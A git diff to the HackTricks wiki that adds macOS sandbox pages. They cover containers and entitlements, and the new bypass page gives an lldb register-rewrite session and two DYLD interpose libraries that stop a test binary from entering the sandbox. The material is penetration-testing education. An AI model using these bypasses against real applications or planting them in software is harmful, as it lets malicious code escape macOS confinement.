diff --git a/.gitbook/assets/image (2) (6) (3).png b/.gitbook/assets/image (2) (6) (3).png new file mode 100644 index 000000000..5109dd9b3 Binary files /dev/null and b/.gitbook/assets/image (2) (6) (3).png differ diff --git a/.gitbook/assets/image (2) (6).png b/.gitbook/assets/image (2) (6).png index 5109dd9b3..229c2e994 100644 Binary files a/.gitbook/assets/image (2) (6).png and b/.gitbook/assets/image (2) (6).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 229c2e994..31be65974 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 31be65974..4bb5f2707 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/SUMMARY.md b/SUMMARY.md index 84125f1c2..eeea8cc43 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -154,6 +154,8 @@ * [macOS Network Protocols](macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md) * [macOS Red Teaming](macos-hardening/macos-security-and-privilege-escalation/macos-red-teaming.md) * [macOS Serial Number](macos-hardening/macos-security-and-privilege-escalation/macos-serial-number.md) + * [macOS Sandbox](macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/README.md) + * [macOS Sandbox Debug & Bypass](macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/macos-sandbox-debug-and-bypass.md) * [macOS Apps - Inspecting, debugging and Fuzzing](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md) * [Introduction to ARM64](macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) diff --git a/linux-hardening/privilege-escalation/docker-security/cgroups.md b/linux-hardening/privilege-escalation/docker-security/cgroups.md index a17048307..a03efe2ae 100644 --- a/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -1,4 +1,4 @@ -# Cgroups +# CGroups
@@ -7,7 +7,7 @@ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
@@ -89,7 +89,7 @@ An exception to these rules is the **root cgroup** found at the bottom of the hi Even with no controllers enabled, you can see the CPU usage of a cgroup by looking at its cpu.stat file: -
+
Because this is the accumulated CPU usage over the entire lifespan of the cgroup, you can see how a service consumes processor time even if it spawns many subprocesses that eventually terminate. @@ -100,7 +100,7 @@ Because this is the accumulated CPU usage over the entire lifespan of the cgroup * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index eb146d29c..521aab81e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -382,11 +382,100 @@ Here you can find examples of how some **malwares have been able to bypass this * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) -### Seatbelt Sandbox +### Sandbox -MacOS Sandbox works with the kernel extension Seatbelt. It makes applications run inside the sandbox **need to request access to resources outside of the limited sandbox**. This helps to ensure that **the application will be accessing only expected resources** and if it wants to access anything else it will need to ask for permissions to the user. +MacOS Sandbox (initially called Seatbelt) makes applications run inside the sandbox **need to request access to resources outside of the limited sandbox**. This helps to ensure that **the application will be accessing only expected resources** and if it wants to access anything else it will need to ask for permissions to the user. -Important **system services** also run inside their own custom **sandbox** such as the mdnsresponder service. You can view these custom **sandbox profiles** inside the **`/usr/share/sandbox`** directory. Other sandbox profiles can be checked in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). +Any app with the **entitlement** `com.apple.security.app-sandbox` will be executed inside the sandbox. In order to publish inside the App Store, **this entitlement is mandatory**. So most applications will be executed inside the sandbox. + +Some important components of the Sandbox are: + +* The **kernel extension** `/System/Library/Extensions/Sandbox.kext` +* The **private framework** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* A **daemon** running in userland `/usr/libexec/sandboxd` +* The **containers** `~/Library/Containers` + +Inside the containers folder you can find **a folder for each app executed sanboxed** with the name of the bundle id: + +```bash +ls -l ~/Library/Containers +total 0 +drwx------@ 4 username staff 128 May 23 20:20 com.apple.AMPArtworkAgent +drwx------@ 4 username staff 128 May 23 20:13 com.apple.AMPDeviceDiscoveryAgent +drwx------@ 4 username staff 128 Mar 24 18:03 com.apple.AVConference.Diagnostic +drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings.extension +drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler +[...] +``` + +Inside each bundle id folder you can find the **plist** and the **Data directory** of the App: + +```bash +cd /Users/username/Library/Containers/com.apple.Safari +ls -la +total 104 +drwx------@ 4 username staff 128 Mar 24 18:08 . +drwx------ 348 username staff 11136 May 23 20:57 .. +-rw-r--r-- 1 username staff 50214 Mar 24 18:08 .com.apple.containermanagerd.metadata.plist +drwx------ 13 username staff 416 Mar 24 18:05 Data + +ls -l Data +total 0 +drwxr-xr-x@ 8 username staff 256 Mar 24 18:08 CloudKit +lrwxr-xr-x 1 username staff 19 Mar 24 18:02 Desktop -> ../../../../Desktop +drwx------ 2 username staff 64 Mar 24 18:02 Documents +lrwxr-xr-x 1 username staff 21 Mar 24 18:02 Downloads -> ../../../../Downloads +drwx------ 35 username staff 1120 Mar 24 18:08 Library +lrwxr-xr-x 1 username staff 18 Mar 24 18:02 Movies -> ../../../../Movies +lrwxr-xr-x 1 username staff 17 Mar 24 18:02 Music -> ../../../../Music +lrwxr-xr-x 1 username staff 20 Mar 24 18:02 Pictures -> ../../../../Pictures +drwx------ 2 username staff 64 Mar 24 18:02 SystemData +drwx------ 2 username staff 64 Mar 24 18:02 tmp +``` + +{% hint style="danger" %} +Note that even if the symlinks are there to "escape" from the Sandbox and access other folders, the App still needs to **have permissions** to access them. These permissions are inside the **`.plist`**. +{% endhint %} + +```bash +# Get permissions +plutil -convert xml1 .com.apple.containermanagerd.metadata.plist -o - + +# In this file you can find the entitlements: +Entitlements + + com.apple.MobileAsset.PhishingImageClassifier2 + + com.apple.accounts.appleaccount.fullaccess + + com.apple.appattest.spi + +[...] + +# Some parameters +Parameters + + _HOME + /Users/username + _UID + 501 + _USER + username +[...] + +# The paths it can access +RedirectablePaths + + /Users/username/Downloads + /Users/username/Documents + /Users/username/Library/Calendars + /Users/username/Desktop +[...] +``` + + + +Important **system services** also run inside their own custom **sandbox** such as the mdnsresponder service. You can view these custom **sandbox profiles** written in a language called Sandbox Profile Language (SBPL) inside the **`/usr/share/sandbox`** directory. Other sandbox profiles can be checked in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). To start an application with a sandbox config you can use: diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md index aef27af8e..e122c474c 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/universal-binaries-and-mach-o-format.md @@ -176,7 +176,7 @@ In the header first you find the **segment header**: Example of segment header: -
+
This header defines the **number of sections whose headers appear after** it: diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md index dfcff7294..074b93718 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md @@ -132,7 +132,7 @@ In the left panel of hopper it's possible to see the symbols (**Labels**) of the In the middle panel you can see the **dissasembled code**. And you can see it a **raw** disassemble, as **graph**, as **decompiled** and as **binary** by clicking on the respective icon: -
+
Right clicking in a code object you can see **references to/from that object** or even change its name (this doesn't work in decompiled pseudocode): diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/README.md new file mode 100644 index 000000000..208c0f045 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/README.md @@ -0,0 +1,41 @@ +# macOS Sandbox + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Basic Information + + + +### Start Sandbox + +**Processes are not born sandboxed on macOS: unlike iOS**, where the sandbox is applied by the kernel before the first instruction of a program executes, on macOS **a process must elect to place itself into the sandbox.** + +Processes are automatically Sandboxed from userland when they start if they have the entitlement: `com.apple.security.app-sandbox`. For a detailed explanation of this process check: + +{% content-ref url="macos-sandbox-debug-and-bypass.md" %} +[macos-sandbox-debug-and-bypass.md](macos-sandbox-debug-and-bypass.md) +{% endcontent-ref %} + + + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/macos-sandbox-debug-and-bypass.md b/macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/macos-sandbox-debug-and-bypass.md new file mode 100644 index 000000000..aad2e30b8 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-sandbox/macos-sandbox-debug-and-bypass.md @@ -0,0 +1,284 @@ +# macOS Sandbox Debug & Bypass + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +
+ +## Sandbox loading process + +

Image from http://newosxbook.com/files/HITSB.pdf

+ +In the previous image it's possible to observe **how the sandbox will be loaded** when an application with the entitlement **`com.apple.security.app-sandbox`** is run. + +The compiler will link `/usr/lib/libSystem.B.dylib` to the binary. + +Then, **`libSystem.B`** will be calling other several functions until the **`xpc_pipe_routine`** sends the entitlements of the app to **`securityd`**. Securityd checks if the process should be quarantine inside the Sandbox, and if so, it will be quarentine.\ +Finally, the sandbox will be activated will a call to **`__sandbox_ms`** which will call **`__mac_syscall`**. + +### Sanbox load debug & bypass + +Let's compile an application that should be sandboxed: + +{% tabs %} +{% tab title="sand.c" %} +```c +#include +int main() { + system("cat ~/Desktop/del.txt"); +} +``` +{% endtab %} + +{% tab title="entitlements.xml" %} +```xml + + +com.apple.security.app-sandbox + + + +``` +{% endtab %} + +{% tab title="Info.plist" %} +```xml + + + CFBundleIdentifier + xyz.hacktricks.sandbox + CFBundleName + Sandbox + + +``` +{% endtab %} +{% endtabs %} + +Then compile the app: + +{% code overflow="wrap" %} +```bash +# Compile it +gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand + +# Create a certificate for "Code Signing" + +# Apply the entitlements via signing +codesign -s --entitlements entitlements.xml sand +``` +{% endcode %} + +{% hint style="danger" %} +The app will try to **read** the file **`~/Desktop/del.txt`**, which the **Sandbox won't allow**.\ +Create a file in there as once the Sandbox is bypassed, it will be able to read it: + +```bash +echo "Sandbox Bypassed" > ~/Desktop/del.txt +``` +{% endhint %} + +Let's debug the chess application to see when is the Sandbox loaded: + +```bash +# Load app in debugging +lldb ./sand + +# Set breakpoint in xpc_pipe_routine +(lldb) b xpc_pipe_routine + +# run +(lldb) r + +# This breakpoint is reached by different functionalities +# Check in the backtrace is it was de sandbox one the one that reached it +# We are looking for the one libsecinit from libSystem.B, like the following one: +(lldb) bt +* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 + * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine + frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584 + frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64 + frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80 + frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272 + +# To avoid lldb cutting info +(lldb) settings set target.max-string-summary-length 10000 + +# The message is in the 2 arg of the xpc_pipe_routine function, get it with: +(lldb) p (char *) xpc_copy_description($x1) +(char *) $0 = 0x000000010100a400 " { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => { count = 42, capacity = 64, contents =\n\t\t0: { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: { length = 35, contents = \"/usr/lib/system/libcorecry"... + +# The 3 arg is the address were the XPC response will be stored +(lldb) register read x2 + x2 = 0x000000016fdfd660 + +# Move until the end of the function +(lldb) finish + +# Read the response +## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY +(lldb) memory read -f p 0x000000016fdfd660 -c 1 +0x16fdfd660: 0x0000600003d04000 +(lldb) p (char *) xpc_copy_description(0x0000600003d04000) +(char *) $4 = 0x0000000100204280 " { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => : 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => : { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => : 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => : 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => : 0\n}" + +# To bypass the sandbox we need to skip the call to __mac_syscall +# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox) +(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)' +(lldb) c + +# The 1 arg is the name of the policy, in this case "Sandbox" +(lldb) memory read -f s $x0 +0x19300eb22: "Sandbox" + +# +# BYPASS +# + +# Due to the previous bp, the process will be stopped in: +Process 2517 stopped +* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 + frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall +libsystem_kernel.dylib`: +-> 0x187659900 <+0>: mov x16, #0x17d + 0x187659904 <+4>: svc #0x80 + 0x187659908 <+8>: b.lo 0x187659928 ; <+40> + 0x18765990c <+12>: pacibsp + +# To bypass jump to the b.lo address modifying some registers first +(lldb) breakpoint delete 1 # Remove bp +(lldb) register write $pc 0x187659928 #b.lo address +(lldb) register write $x0 0x00 +(lldb) register write $x1 0x00 +(lldb) register write $x16 0x17d +(lldb) c +Process 2517 resuming +Sandbox Bypassed! +Process 2517 exited with status = 0 (0x00000000) +``` + +{% hint style="warning" %} +**Even with the Sandbox bypassed TCC** will ask the user if he wants to allow the process to read files from desktop +{% endhint %} + +### Interposting Bypass + +For more information about **Interposting** check: + +{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %} +[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md) +{% endcontent-ref %} + +#### Interpost `_libsecinit_initializer` to prevent the sandbox + +```c +// gcc -dynamiclib interpose.c -o interpose.dylib + +#include + +void _libsecinit_initializer(void); + +void overriden__libsecinit_initializer(void) { + printf("_libsecinit_initializer called\n"); +} + +__attribute__((used, section("__DATA,__interpose"))) static struct { + void (*overriden__libsecinit_initializer)(void); + void (*_libsecinit_initializer)(void); +} +_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer}; +``` + +```bash +DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand +_libsecinit_initializer called +Sandbox Bypassed! +``` + +#### Interpost `__mac_syscall` to prevent the Sandbox + +{% code title="interpose.c" %} +```c +// gcc -dynamiclib interpose.c -o interpose.dylib + +#include +#include + +// Forward Declaration +int __mac_syscall(const char *_policyname, int _call, void *_arg); + +// Replacement function +int my_mac_syscall(const char *_policyname, int _call, void *_arg) { + printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call); + if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) { + printf("Bypassing Sandbox initiation.\n"); + return 0; // pretend we did the job without actually calling __mac_syscall + } + // Call the original function for other cases + return __mac_syscall(_policyname, _call, _arg); +} + +// Interpose Definition +struct interpose_sym { + const void *replacement; + const void *original; +}; + +// Interpose __mac_syscall with my_mac_syscall +__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = { + { (const void *)my_mac_syscall, (const void *)__mac_syscall }, +}; +``` +{% endcode %} + +```bash +DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand + +__mac_syscall invoked. Policy: Sandbox, Call: 2 +__mac_syscall invoked. Policy: Sandbox, Call: 2 +__mac_syscall invoked. Policy: Sandbox, Call: 0 +Bypassing Sandbox initiation. +__mac_syscall invoked. Policy: Quarantine, Call: 87 +__mac_syscall invoked. Policy: Sandbox, Call: 4 +Sandbox Bypassed! +``` + +### Static Compiling & Dynamically linking + +[**This research**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) discovered 2 ways to bypass the Sandbox. Because the sandbox is applied from userland when the **libSystem** library is loaded. If a binary could avoid loading it, it would never get sandboxed: + +* If the binary was **completely statically compiled**, it could avoid loading that library. +* If the **binary wouldn't need to load any libraries** (because the linker is also in libSystem), it won't need to load libSystem. + +### Shellcodes + +Note that **even shellcodes** in ARM64 needs to be linked in `libSystem.dylib`: + +```bash +ld -o shell shell.o -macosx_version_min 13.0 +ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 +``` + +## References + +* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) +* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + +